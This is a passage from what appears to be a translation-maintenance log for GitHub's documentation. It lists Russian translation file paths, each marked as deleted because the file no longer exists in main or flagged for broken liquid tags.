+translations/ru-RU/content/rest/reference/issues.md,file deleted because it no longer exists in main +translations/ru-RU/content/rest/reference/licenses.md,file deleted because it no longer exists in main +translations/ru-RU/content/rest/reference/markdown.md,file deleted because it no longer exists in main +translations/ru-RU/content/rest/reference/meta.md,file deleted because it no longer exists in main +translations/ru-RU/content/rest/reference/metrics.md,file deleted because it no longer exists in main +translations/ru-RU/content/rest/reference/migrations.md,file deleted because it no longer exists in main +translations/ru-RU/content/rest/reference/oauth-authorizations.md,file deleted because it no longer exists in main +translations/ru-RU/content/rest/reference/orgs.md,file deleted because it no longer exists in main +translations/ru-RU/content/rest/reference/packages.md,file deleted because it no longer exists in main +translations/ru-RU/content/rest/reference/pages.md,file deleted because it no longer exists in main +translations/ru-RU/content/rest/reference/projects.md,file deleted because it no longer exists in main +translations/ru-RU/content/rest/reference/pulls.md,file deleted because it no longer exists in main +translations/ru-RU/content/rest/reference/rate-limit.md,file deleted because it no longer exists in main +translations/ru-RU/content/rest/reference/reactions.md,file deleted because it no longer exists in main +translations/ru-RU/content/rest/reference/releases.md,file deleted because it no longer exists in main +translations/ru-RU/content/rest/reference/repos.md,file deleted because it no longer exists in main +translations/ru-RU/content/rest/reference/scim.md,file deleted because it no longer exists in main +translations/ru-RU/content/rest/reference/search.md,file deleted because it no longer exists in main +translations/ru-RU/content/rest/reference/secret-scanning.md,file deleted because it no longer exists in main +translations/ru-RU/content/rest/reference/teams.md,file deleted because it no longer exists in main +translations/ru-RU/content/rest/reference/users.md,file deleted because it no longer exists in main +translations/ru-RU/content/rest/reference/webhooks.md,file deleted because it no longer exists in main +translations/ru-RU/content/site-policy/privacy-policies/github-data-protection-agreement.md,file deleted because it no longer exists in main +translations/ru-RU/content/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-user-account.md,file deleted because it no longer exists in main +translations/ru-RU/data/features/security-overview-views.yml,file deleted because it no longer exists in main +translations/ru-RU/data/glossaries/internal.yml,file deleted because it no longer exists in main +translations/ru-RU/data/graphql/ghes-3.2/graphql_previews.enterprise.yml,file deleted because it no longer exists in main +translations/ru-RU/data/release-notes/enterprise-server/2-20/0.yml,file deleted because it no longer exists in main +translations/ru-RU/data/release-notes/enterprise-server/2-20/1.yml,file deleted because it no longer exists in main +translations/ru-RU/data/release-notes/enterprise-server/2-20/10.yml,file deleted because it no longer exists in main +translations/ru-RU/data/release-notes/enterprise-server/2-20/11.yml,file deleted because it no longer exists in main +translations/ru-RU/data/release-notes/enterprise-server/2-20/12.yml,file deleted because it no longer exists in main +translations/ru-RU/data/release-notes/enterprise-server/2-20/13.yml,file deleted because it no longer exists in main +translations/ru-RU/data/release-notes/enterprise-server/2-20/14.yml,file deleted because it no longer exists in main +translations/ru-RU/data/release-notes/enterprise-server/2-20/16.yml,file deleted because it no longer exists in main +translations/ru-RU/data/release-notes/enterprise-server/2-20/17.yml,file deleted because it no longer exists in main +translations/ru-RU/data/release-notes/enterprise-server/2-20/18.yml,file deleted because it no longer exists in main +translations/ru-RU/data/release-notes/enterprise-server/2-20/19.yml,file deleted because it no longer exists in main +translations/ru-RU/data/release-notes/enterprise-server/2-20/2.yml,file deleted because it no longer exists in main +translations/ru-RU/data/release-notes/enterprise-server/2-20/20.yml,file deleted because it no longer exists in main +translations/ru-RU/data/release-notes/enterprise-server/2-20/21.yml,file deleted because it no longer exists in main +translations/ru-RU/data/release-notes/enterprise-server/2-20/22.yml,file deleted because it no longer exists in main +translations/ru-RU/data/release-notes/enterprise-server/2-20/23.yml,file deleted because it no longer exists in main +translations/ru-RU/data/release-notes/enterprise-server/2-20/24.yml,file deleted because it no longer exists in main +translations/ru-RU/data/release-notes/enterprise-server/2-20/3.yml,file deleted because it no longer exists in main +translations/ru-RU/data/release-notes/enterprise-server/2-20/4.yml,file deleted because it no longer exists in main +translations/ru-RU/data/release-notes/enterprise-server/2-20/5.yml,file deleted because it no longer exists in main +translations/ru-RU/data/release-notes/enterprise-server/2-20/6.yml,file deleted because it no longer exists in main +translations/ru-RU/data/release-notes/enterprise-server/2-20/7.yml,file deleted because it no longer exists in main +translations/ru-RU/data/release-notes/enterprise-server/2-20/8.yml,file deleted because it no longer exists in main +translations/ru-RU/data/release-notes/enterprise-server/2-20/9.yml,file deleted because it no longer exists in main +translations/ru-RU/data/release-notes/enterprise-server/2-21/0.yml,file deleted because it no longer exists in main +translations/ru-RU/data/release-notes/enterprise-server/2-21/1.yml,file deleted because it no longer exists in main +translations/ru-RU/data/release-notes/enterprise-server/2-21/10.yml,file deleted because it no longer exists in main +translations/ru-RU/data/release-notes/enterprise-server/2-21/11.yml,file deleted because it no longer exists in main +translations/ru-RU/data/release-notes/enterprise-server/2-21/12.yml,file deleted because it no longer exists in main +translations/ru-RU/data/release-notes/enterprise-server/2-21/13.yml,file deleted because it no longer exists in main +translations/ru-RU/data/release-notes/enterprise-server/2-21/14.yml,file deleted because it no longer exists in main +translations/ru-RU/data/release-notes/enterprise-server/2-21/15.yml,file deleted because it no longer exists in main +translations/ru-RU/data/release-notes/enterprise-server/2-21/16.yml,file deleted because it no longer exists in main +translations/ru-RU/data/release-notes/enterprise-server/2-21/17.yml,file deleted because it no longer exists in main +translations/ru-RU/data/release-notes/enterprise-server/2-21/18.yml,file deleted because it no longer exists in main +translations/ru-RU/data/release-notes/enterprise-server/2-21/19.yml,file deleted because it no longer exists in main +translations/ru-RU/data/release-notes/enterprise-server/2-21/2.yml,file deleted because it no longer exists in main +translations/ru-RU/data/release-notes/enterprise-server/2-21/20.yml,file deleted because it no longer exists in main +translations/ru-RU/data/release-notes/enterprise-server/2-21/21.yml,file deleted because it no longer exists in main +translations/ru-RU/data/release-notes/enterprise-server/2-21/22.yml,file deleted because it no longer exists in main +translations/ru-RU/data/release-notes/enterprise-server/2-21/23.yml,file deleted because it no longer exists in main +translations/ru-RU/data/release-notes/enterprise-server/2-21/3.yml,file deleted because it no longer exists in main +translations/ru-RU/data/release-notes/enterprise-server/2-21/4.yml,file deleted because it no longer exists in main +translations/ru-RU/data/release-notes/enterprise-server/2-21/5.yml,file deleted because it no longer exists in main +translations/ru-RU/data/release-notes/enterprise-server/2-21/6.yml,file deleted because it no longer exists in main +translations/ru-RU/data/release-notes/enterprise-server/2-21/7.yml,file deleted because it no longer exists in main +translations/ru-RU/data/release-notes/enterprise-server/2-21/8.yml,file deleted because it no longer exists in main +translations/ru-RU/data/release-notes/enterprise-server/2-21/9.yml,file deleted because it no longer exists in main +translations/ru-RU/data/release-notes/enterprise-server/2-22/0.yml,file deleted because it no longer exists in main +translations/ru-RU/data/release-notes/enterprise-server/2-22/1.yml,file deleted because it no longer exists in main +translations/ru-RU/data/release-notes/enterprise-server/2-22/10.yml,file deleted because it no longer exists in main +translations/ru-RU/data/release-notes/enterprise-server/2-22/11.yml,file deleted because it no longer exists in main +translations/ru-RU/data/release-notes/enterprise-server/2-22/12.yml,file deleted because it no longer exists in main +translations/ru-RU/data/release-notes/enterprise-server/2-22/13.yml,file deleted because it no longer exists in main +translations/ru-RU/data/release-notes/enterprise-server/2-22/14.yml,file deleted because it no longer exists in main +translations/ru-RU/data/release-notes/enterprise-server/2-22/15.yml,file deleted because it no longer exists in main +translations/ru-RU/data/release-notes/enterprise-server/2-22/16.yml,file deleted because it no longer exists in main +translations/ru-RU/data/release-notes/enterprise-server/2-22/17.yml,file deleted because it no longer exists in main +translations/ru-RU/data/release-notes/enterprise-server/2-22/18.yml,file deleted because it no longer exists in main +translations/ru-RU/data/release-notes/enterprise-server/2-22/19.yml,file deleted because it no longer exists in main +translations/ru-RU/data/release-notes/enterprise-server/2-22/2.yml,file deleted because it no longer exists in main +translations/ru-RU/data/release-notes/enterprise-server/2-22/20.yml,file deleted because it no longer exists in main +translations/ru-RU/data/release-notes/enterprise-server/2-22/21.yml,file deleted because it no longer exists in main +translations/ru-RU/data/release-notes/enterprise-server/2-22/22.yml,file deleted because it no longer exists in main +translations/ru-RU/data/release-notes/enterprise-server/2-22/3.yml,file deleted because it no longer exists in main +translations/ru-RU/data/release-notes/enterprise-server/2-22/4.yml,file deleted because it no longer exists in main +translations/ru-RU/data/release-notes/enterprise-server/2-22/5.yml,file deleted because it no longer exists in main +translations/ru-RU/data/release-notes/enterprise-server/2-22/6.yml,file deleted because it no longer exists in main +translations/ru-RU/data/release-notes/enterprise-server/2-22/7.yml,file deleted because it no longer exists in main +translations/ru-RU/data/release-notes/enterprise-server/2-22/8.yml,file deleted because it no longer exists in main +translations/ru-RU/data/release-notes/enterprise-server/2-22/9.yml,file deleted because it no longer exists in main +translations/ru-RU/data/release-notes/enterprise-server/3-0/0-rc1.yml,file deleted because it no longer exists in main +translations/ru-RU/data/release-notes/enterprise-server/3-0/0-rc2.yml,file deleted because it no longer exists in main +translations/ru-RU/data/release-notes/enterprise-server/3-0/0.yml,file deleted because it no longer exists in main +translations/ru-RU/data/release-notes/enterprise-server/3-0/1.yml,file deleted because it no longer exists in main +translations/ru-RU/data/release-notes/enterprise-server/3-0/10.yml,file deleted because it no longer exists in main +translations/ru-RU/data/release-notes/enterprise-server/3-0/11.yml,file deleted because it no longer exists in main +translations/ru-RU/data/release-notes/enterprise-server/3-0/12.yml,file deleted because it no longer exists in main +translations/ru-RU/data/release-notes/enterprise-server/3-0/13.yml,file deleted because it no longer exists in main +translations/ru-RU/data/release-notes/enterprise-server/3-0/14.yml,file deleted because it no longer exists in main +translations/ru-RU/data/release-notes/enterprise-server/3-0/15.yml,file deleted because it no longer exists in main +translations/ru-RU/data/release-notes/enterprise-server/3-0/16.yml,file deleted because it no longer exists in main +translations/ru-RU/data/release-notes/enterprise-server/3-0/17.yml,file deleted because it no longer exists in main +translations/ru-RU/data/release-notes/enterprise-server/3-0/18.yml,file deleted because it no longer exists in main +translations/ru-RU/data/release-notes/enterprise-server/3-0/19.yml,file deleted because it no longer exists in main +translations/ru-RU/data/release-notes/enterprise-server/3-0/2.yml,file deleted because it no longer exists in main +translations/ru-RU/data/release-notes/enterprise-server/3-0/20.yml,file deleted because it no longer exists in main +translations/ru-RU/data/release-notes/enterprise-server/3-0/21.yml,file deleted because it no longer exists in main +translations/ru-RU/data/release-notes/enterprise-server/3-0/22.yml,file deleted because it no longer exists in main +translations/ru-RU/data/release-notes/enterprise-server/3-0/23.yml,file deleted because it no longer exists in main +translations/ru-RU/data/release-notes/enterprise-server/3-0/24.yml,file deleted because it no longer exists in main +translations/ru-RU/data/release-notes/enterprise-server/3-0/25.yml,file deleted because it no longer exists in main +translations/ru-RU/data/release-notes/enterprise-server/3-0/3.yml,file deleted because it no longer exists in main +translations/ru-RU/data/release-notes/enterprise-server/3-0/4.yml,file deleted because it no longer exists in main +translations/ru-RU/data/release-notes/enterprise-server/3-0/5.yml,file deleted because it no longer exists in main +translations/ru-RU/data/release-notes/enterprise-server/3-0/6.yml,file deleted because it no longer exists in main +translations/ru-RU/data/release-notes/enterprise-server/3-0/7.yml,file deleted because it no longer exists in main +translations/ru-RU/data/release-notes/enterprise-server/3-0/8.yml,file deleted because it no longer exists in main +translations/ru-RU/data/release-notes/enterprise-server/3-0/9.yml,file deleted because it no longer exists in main +translations/ru-RU/data/release-notes/enterprise-server/3-1/0-rc1.yml,file deleted because it no longer exists in main +translations/ru-RU/data/release-notes/enterprise-server/3-1/0.yml,file deleted because it no longer exists in main +translations/ru-RU/data/release-notes/enterprise-server/3-1/1.yml,file deleted because it no longer exists in main +translations/ru-RU/data/release-notes/enterprise-server/3-1/10.yml,file deleted because it no longer exists in main +translations/ru-RU/data/release-notes/enterprise-server/3-1/11.yml,file deleted because it no longer exists in main +translations/ru-RU/data/release-notes/enterprise-server/3-1/12.yml,file deleted because it no longer exists in main +translations/ru-RU/data/release-notes/enterprise-server/3-1/13.yml,file deleted because it no longer exists in main +translations/ru-RU/data/release-notes/enterprise-server/3-1/14.yml,file deleted because it no longer exists in main +translations/ru-RU/data/release-notes/enterprise-server/3-1/15.yml,file deleted because it no longer exists in main +translations/ru-RU/data/release-notes/enterprise-server/3-1/16.yml,file deleted because it no longer exists in main +translations/ru-RU/data/release-notes/enterprise-server/3-1/17.yml,file deleted because it no longer exists in main +translations/ru-RU/data/release-notes/enterprise-server/3-1/18.yml,file deleted because it no longer exists in main +translations/ru-RU/data/release-notes/enterprise-server/3-1/19.yml,file deleted because it no longer exists in main +translations/ru-RU/data/release-notes/enterprise-server/3-1/2.yml,file deleted because it no longer exists in main +translations/ru-RU/data/release-notes/enterprise-server/3-1/20.yml,file deleted because it no longer exists in main +translations/ru-RU/data/release-notes/enterprise-server/3-1/21.yml,file deleted because it no longer exists in main +translations/ru-RU/data/release-notes/enterprise-server/3-1/22.yml,file deleted because it no longer exists in main +translations/ru-RU/data/release-notes/enterprise-server/3-1/3.yml,file deleted because it no longer exists in main +translations/ru-RU/data/release-notes/enterprise-server/3-1/4.yml,file deleted because it no longer exists in main +translations/ru-RU/data/release-notes/enterprise-server/3-1/5.yml,file deleted because it no longer exists in main +translations/ru-RU/data/release-notes/enterprise-server/3-1/6.yml,file deleted because it no longer exists in main +translations/ru-RU/data/release-notes/enterprise-server/3-1/7.yml,file deleted because it no longer exists in main +translations/ru-RU/data/release-notes/enterprise-server/3-1/8.yml,file deleted because it no longer exists in main +translations/ru-RU/data/release-notes/enterprise-server/3-1/9.yml,file deleted because it no longer exists in main +translations/ru-RU/data/release-notes/enterprise-server/3-2/0-rc1.yml,file deleted because it no longer exists in main +translations/ru-RU/data/release-notes/enterprise-server/3-2/0.yml,file deleted because it no longer exists in main +translations/ru-RU/data/release-notes/enterprise-server/3-2/1.yml,file deleted because it no longer exists in main +translations/ru-RU/data/release-notes/enterprise-server/3-2/10.yml,file deleted because it no longer exists in main +translations/ru-RU/data/release-notes/enterprise-server/3-2/11.yml,file deleted because it no longer exists in main +translations/ru-RU/data/release-notes/enterprise-server/3-2/12.yml,file deleted because it no longer exists in main +translations/ru-RU/data/release-notes/enterprise-server/3-2/13.yml,file deleted because it no longer exists in main +translations/ru-RU/data/release-notes/enterprise-server/3-2/14.yml,file deleted because it no longer exists in main +translations/ru-RU/data/release-notes/enterprise-server/3-2/15.yml,file deleted because it no longer exists in main +translations/ru-RU/data/release-notes/enterprise-server/3-2/16.yml,file deleted because it no longer exists in main +translations/ru-RU/data/release-notes/enterprise-server/3-2/17.yml,file deleted because it no longer exists in main +translations/ru-RU/data/release-notes/enterprise-server/3-2/18.yml,file deleted because it no longer exists in main +translations/ru-RU/data/release-notes/enterprise-server/3-2/2.yml,file deleted because it no longer exists in main +translations/ru-RU/data/release-notes/enterprise-server/3-2/3.yml,file deleted because it no longer exists in main +translations/ru-RU/data/release-notes/enterprise-server/3-2/4.yml,file deleted because it no longer exists in main +translations/ru-RU/data/release-notes/enterprise-server/3-2/5.yml,file deleted because it no longer exists in main +translations/ru-RU/data/release-notes/enterprise-server/3-2/6.yml,file deleted because it no longer exists in main +translations/ru-RU/data/release-notes/enterprise-server/3-2/7.yml,file deleted because it no longer exists in main +translations/ru-RU/data/release-notes/enterprise-server/3-2/8.yml,file deleted because it no longer exists in main +translations/ru-RU/data/release-notes/enterprise-server/3-2/9.yml,file deleted because it no longer exists in main +translations/ru-RU/data/release-notes/github-ae/2021-03/2021-03-03.yml,file deleted because it no longer exists in main +translations/ru-RU/data/release-notes/github-ae/2021-06/2021-12-06.yml,file deleted because it no longer exists in main +translations/ru-RU/data/release-notes/github-ae/2022-05/2022-05-17.yml,file deleted because it no longer exists in main +translations/ru-RU/data/reusables/actions/enterprise-s3-support-warning.md,file deleted because it no longer exists in main +translations/ru-RU/data/reusables/actions/hardware-requirements-3.6.md,file deleted because it no longer exists in main +translations/ru-RU/data/reusables/actions/jobs/section-using-a-build-matrix-for-your-jobs-strategy.md,file deleted because it no longer exists in main +translations/ru-RU/data/reusables/actions/link-to-example-library.md,file deleted because it no longer exists in main +translations/ru-RU/data/reusables/actions/minio-gateways-removal.md,file deleted because it no longer exists in main +translations/ru-RU/data/reusables/actions/perform-blob-storage-precheck.md,file deleted because it no longer exists in main +translations/ru-RU/data/reusables/actions/self-hosted-runner-configure-runner-group-access.md,file deleted because it no longer exists in main +translations/ru-RU/data/reusables/actions/self-hosted-runner-configure-runner-group.md,file deleted because it no longer exists in main +translations/ru-RU/data/reusables/actions/self-hosted-runner-create-group.md,file deleted because it no longer exists in main +translations/ru-RU/data/reusables/actions/self-hosted-runner-groups-add-to-enterprise-first-steps.md,file deleted because it no longer exists in main +translations/ru-RU/data/reusables/actions/self-hosted-runner-groups-navigate-to-repo-org-enterprise.md,file deleted because it no longer exists in main +translations/ru-RU/data/reusables/apps/metadata-permissions.md,file deleted because it no longer exists in main +translations/ru-RU/data/reusables/billing/per-user-pricing-reference.md,file deleted because it no longer exists in main +translations/ru-RU/data/reusables/codespaces/about-billing-for-codespaces.md,file deleted because it no longer exists in main +translations/ru-RU/data/reusables/codespaces/about-personalization.md,file deleted because it no longer exists in main +translations/ru-RU/data/reusables/codespaces/apply-devcontainer-changes.md,file deleted because it no longer exists in main +translations/ru-RU/data/reusables/codespaces/availability.md,file deleted because it no longer exists in main +translations/ru-RU/data/reusables/codespaces/beta-functionality-limited.md,file deleted because it no longer exists in main +translations/ru-RU/data/reusables/codespaces/billing-for-prebuilds-default.md,file deleted because it no longer exists in main +translations/ru-RU/data/reusables/codespaces/billing-for-prebuilds-reducing.md,file deleted because it no longer exists in main +translations/ru-RU/data/reusables/codespaces/billing-for-prebuilds.md,file deleted because it no longer exists in main +translations/ru-RU/data/reusables/codespaces/codespaces-api-beta-note.md,file deleted because it no longer exists in main +translations/ru-RU/data/reusables/codespaces/codespaces-billing.md,file deleted because it no longer exists in main +translations/ru-RU/data/reusables/codespaces/concurrent-codespace-limit.md,file deleted because it no longer exists in main +translations/ru-RU/data/reusables/codespaces/devcontainer-location.md,file deleted because it no longer exists in main +translations/ru-RU/data/reusables/codespaces/prebuilds-beta-note.md,file deleted because it no longer exists in main +translations/ru-RU/data/reusables/codespaces/prebuilds-not-available.md,file deleted because it no longer exists in main +translations/ru-RU/data/reusables/codespaces/review-pr.md,file deleted because it no longer exists in main +translations/ru-RU/data/reusables/codespaces/unsupported-repos.md,file deleted because it no longer exists in main +translations/ru-RU/data/reusables/codespaces/vscode-settings-order.md,file deleted because it no longer exists in main +translations/ru-RU/data/reusables/dependabot/beta-security-and-version-updates-onboarding.md,file deleted because it no longer exists in main +translations/ru-RU/data/reusables/dependabot/create-dependabot-yml.md,file deleted because it no longer exists in main +translations/ru-RU/data/reusables/dependabot/dependabot-secrets-button.md,file deleted because it no longer exists in main +translations/ru-RU/data/reusables/dependency-review/beta.md,file deleted because it no longer exists in main +translations/ru-RU/data/reusables/dependency-review/dependency-review-api-beta-note.md,file deleted because it no longer exists in main +translations/ru-RU/data/reusables/desktop/paste-email-git-config.md,file deleted because it no longer exists in main +translations/ru-RU/data/reusables/dotcom_billing/codespaces-minutes.md,file deleted because it no longer exists in main +translations/ru-RU/data/reusables/dotcom_billing/monthly-spending-limit-codespaces.md,file deleted because it no longer exists in main +translations/ru-RU/data/reusables/dotcom_billing/pricing_calculator/pricing_cal_codespaces.md,file deleted because it no longer exists in main +translations/ru-RU/data/reusables/education/upgrade-organization.md,file deleted because it no longer exists in main +translations/ru-RU/data/reusables/education/upgrade-page.md,file deleted because it no longer exists in main +translations/ru-RU/data/reusables/enterprise-accounts/repository-visibility-policy.md,file deleted because it no longer exists in main +translations/ru-RU/data/reusables/enterprise-licensing/you-can-sync-for-a-combined-view.md,file deleted because it no longer exists in main +translations/ru-RU/data/reusables/enterprise/upgrade-ghes-for-actions.md,file deleted because it no longer exists in main +translations/ru-RU/data/reusables/enterprise_installation/upgrade-hardware-requirements.md,file deleted because it no longer exists in main +translations/ru-RU/data/reusables/gated-features/advanced-security.md,file deleted because it no longer exists in main +translations/ru-RU/data/reusables/gated-features/codespaces.md,file deleted because it no longer exists in main +translations/ru-RU/data/reusables/gated-features/discussions.md,file deleted because it no longer exists in main +translations/ru-RU/data/reusables/gated-features/security-center.md,file deleted because it no longer exists in main +translations/ru-RU/data/reusables/getting-started/learning-lab-enterprise.md,file deleted because it no longer exists in main +translations/ru-RU/data/reusables/getting-started/learning-lab.md,file deleted because it no longer exists in main +translations/ru-RU/data/reusables/open-source/open-source-learning-lab.md,file deleted because it no longer exists in main +translations/ru-RU/data/reusables/organizations/organizations_include.md,file deleted because it no longer exists in main +translations/ru-RU/data/reusables/package_registry/authenticate_with_pat_for_container_registry.md,file deleted because it no longer exists in main +translations/ru-RU/data/reusables/pages/pages-builds-with-github-actions-public-beta.md,file deleted because it no longer exists in main +translations/ru-RU/data/reusables/pre-release-program/custom-roles-public-beta.md,file deleted because it no longer exists in main +translations/ru-RU/data/reusables/repositories/squash-and-rebase-linear-commit-hisitory.md,file deleted because it no longer exists in main +translations/ru-RU/data/reusables/rest-reference/actions/secrets.md,file deleted because it no longer exists in main +translations/ru-RU/data/reusables/rest-reference/actions/self-hosted-runner-groups.md,file deleted because it no longer exists in main +translations/ru-RU/data/reusables/rest-reference/actions/self-hosted-runners.md,file deleted because it no longer exists in main +translations/ru-RU/data/reusables/rest-reference/actions/workflow-jobs.md,file deleted because it no longer exists in main +translations/ru-RU/data/reusables/rest-reference/actions/workflow-runs.md,file deleted because it no longer exists in main +translations/ru-RU/data/reusables/rest-reference/actions/workflows.md,file deleted because it no longer exists in main +translations/ru-RU/data/reusables/rest-reference/activity/feeds.md,file deleted because it no longer exists in main +translations/ru-RU/data/reusables/rest-reference/activity/watching.md,file deleted because it no longer exists in main +translations/ru-RU/data/reusables/rest-reference/apps/installations.md,file deleted because it no longer exists in main +translations/ru-RU/data/reusables/rest-reference/apps/oauth-applications.md,file deleted because it no longer exists in main +translations/ru-RU/data/reusables/rest-reference/apps/webhooks.md,file deleted because it no longer exists in main +translations/ru-RU/data/reusables/rest-reference/billing/billing.md,file deleted because it no longer exists in main +translations/ru-RU/data/reusables/rest-reference/branches/branch-protection.md,file deleted because it no longer exists in main +translations/ru-RU/data/reusables/rest-reference/checks/checks.md,file deleted because it no longer exists in main +translations/ru-RU/data/reusables/rest-reference/checks/runs.md,file deleted because it no longer exists in main +translations/ru-RU/data/reusables/rest-reference/checks/suites.md,file deleted because it no longer exists in main +translations/ru-RU/data/reusables/rest-reference/code-scanning/code-scanning.md,file deleted because it no longer exists in main +translations/ru-RU/data/reusables/rest-reference/codes-of-conduct/codes-of-conduct.md,file deleted because it no longer exists in main +translations/ru-RU/data/reusables/rest-reference/codespaces/codespaces.md,file deleted because it no longer exists in main +translations/ru-RU/data/reusables/rest-reference/codespaces/machines.md,file deleted because it no longer exists in main +translations/ru-RU/data/reusables/rest-reference/codespaces/repository-secrets.md,file deleted because it no longer exists in main +translations/ru-RU/data/reusables/rest-reference/codespaces/secrets.md,file deleted because it no longer exists in main +translations/ru-RU/data/reusables/rest-reference/collaborators/invitations.md,file deleted because it no longer exists in main +translations/ru-RU/data/reusables/rest-reference/commits/comments.md,file deleted because it no longer exists in main +translations/ru-RU/data/reusables/rest-reference/dependabot/dependabot.md,file deleted because it no longer exists in main +translations/ru-RU/data/reusables/rest-reference/dependency-graph/dependency-review.md,file deleted because it no longer exists in main +translations/ru-RU/data/reusables/rest-reference/deploy_keys/deploy_keys.md,file deleted because it no longer exists in main +translations/ru-RU/data/reusables/rest-reference/enterprise-admin/audit-log.md,file deleted because it no longer exists in main +translations/ru-RU/data/reusables/rest-reference/enterprise-admin/billing.md,file deleted because it no longer exists in main +translations/ru-RU/data/reusables/rest-reference/enterprise-admin/enterprise-admin.md,file deleted because it no longer exists in main +translations/ru-RU/data/reusables/rest-reference/enterprise-admin/org-pre-receive-hooks.md,file deleted because it no longer exists in main +translations/ru-RU/data/reusables/rest-reference/enterprise-admin/orgs.md,file deleted because it no longer exists in main +translations/ru-RU/data/reusables/rest-reference/enterprise-admin/pre-receive-environments.md,file deleted because it no longer exists in main +translations/ru-RU/data/reusables/rest-reference/enterprise-admin/pre-receive-hooks.md,file deleted because it no longer exists in main +translations/ru-RU/data/reusables/rest-reference/enterprise-admin/repo-pre-receive-hooks.md,file deleted because it no longer exists in main +translations/ru-RU/data/reusables/rest-reference/gists/comments.md,file deleted because it no longer exists in main +translations/ru-RU/data/reusables/rest-reference/issues/labels.md,file deleted because it no longer exists in main +translations/ru-RU/data/reusables/rest-reference/issues/milestones.md,file deleted because it no longer exists in main +translations/ru-RU/data/reusables/rest-reference/metrics/community.md,file deleted because it no longer exists in main +translations/ru-RU/data/reusables/rest-reference/oauth-authorizations/oauth-authorizations.md,file deleted because it no longer exists in main +translations/ru-RU/data/reusables/rest-reference/orgs/members.md,file deleted because it no longer exists in main +translations/ru-RU/data/reusables/rest-reference/projects/cards.md,file deleted because it no longer exists in main +translations/ru-RU/data/reusables/rest-reference/projects/collaborators.md,file deleted because it no longer exists in main +translations/ru-RU/data/reusables/rest-reference/projects/columns.md,file deleted because it no longer exists in main +translations/ru-RU/data/reusables/rest-reference/reations/reactions.md,file deleted because it no longer exists in main +translations/ru-RU/data/reusables/rest-reference/releases/assets.md,file deleted because it no longer exists in main +translations/ru-RU/data/reusables/rest-reference/releases/releases.md,file deleted because it no longer exists in main +translations/ru-RU/data/reusables/rest-reference/repos/autolinks.md,file deleted because it no longer exists in main +translations/ru-RU/data/reusables/rest-reference/repos/contents.md,file deleted because it no longer exists in main +translations/ru-RU/data/reusables/rest-reference/repos/forks.md,file deleted because it no longer exists in main +translations/ru-RU/data/reusables/rest-reference/repos/lfs.md,file deleted because it no longer exists in main +translations/ru-RU/data/reusables/rest-reference/scim/scim.md,file deleted because it no longer exists in main +translations/ru-RU/data/reusables/rest-reference/users/followers.md,file deleted because it no longer exists in main +translations/ru-RU/data/reusables/security-center/beta.md,file deleted because it no longer exists in main +translations/ru-RU/data/reusables/security-center/permissions.md,file deleted because it no longer exists in main +translations/ru-RU/data/reusables/server-statistics/release-phase.md,file deleted because it no longer exists in main +translations/ru-RU/data/reusables/sponsors/country-of-residence.md,file deleted because it no longer exists in main +translations/ru-RU/content/account-and-profile/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github/managing-your-subscriptions.md,broken liquid tags +translations/ru-RU/content/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/about-notifications.md,broken liquid tags +translations/ru-RU/content/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications.md,broken liquid tags +translations/ru-RU/content/account-and-profile/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications/managing-notifications-from-your-inbox.md,broken liquid tags +translations/ru-RU/content/account-and-profile/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications/triaging-a-single-notification.md,broken liquid tags +translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/about-your-profile.md,broken liquid tags +translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/managing-your-profile-readme.md,broken liquid tags +translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/personalizing-your-profile.md,broken liquid tags +translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/showing-your-private-contributions-and-achievements-on-your-profile.md,broken liquid tags +translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/viewing-contributions-on-your-profile.md,broken liquid tags +translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/why-are-my-contributions-not-showing-up-on-my-profile.md,broken liquid tags +translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-access-to-your-personal-repositories/inviting-collaborators-to-a-personal-repository.md,broken liquid tags +translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-access-to-your-personal-repositories/removing-a-collaborator-from-a-personal-repository.md,broken liquid tags +translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-access-to-your-personal-repositories/removing-yourself-from-a-collaborators-repository.md,broken liquid tags +translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/adding-an-email-address-to-your-github-account.md,broken liquid tags +translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/index.md,broken liquid tags +translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/remembering-your-github-username-or-email.md,broken liquid tags +translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/setting-your-commit-email-address.md,broken liquid tags +translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/changing-your-github-username.md,broken liquid tags +translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/managing-accessibility-settings.md,broken liquid tags +translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/managing-security-and-analysis-settings-for-your-personal-account.md,broken liquid tags +translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/managing-the-default-branch-name-for-your-repositories.md,broken liquid tags +translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-personal-account/best-practices-for-leaving-your-company.md,broken liquid tags +translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-personal-account/converting-a-user-into-an-organization.md,broken liquid tags +translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-personal-account/deleting-your-personal-account.md,broken liquid tags 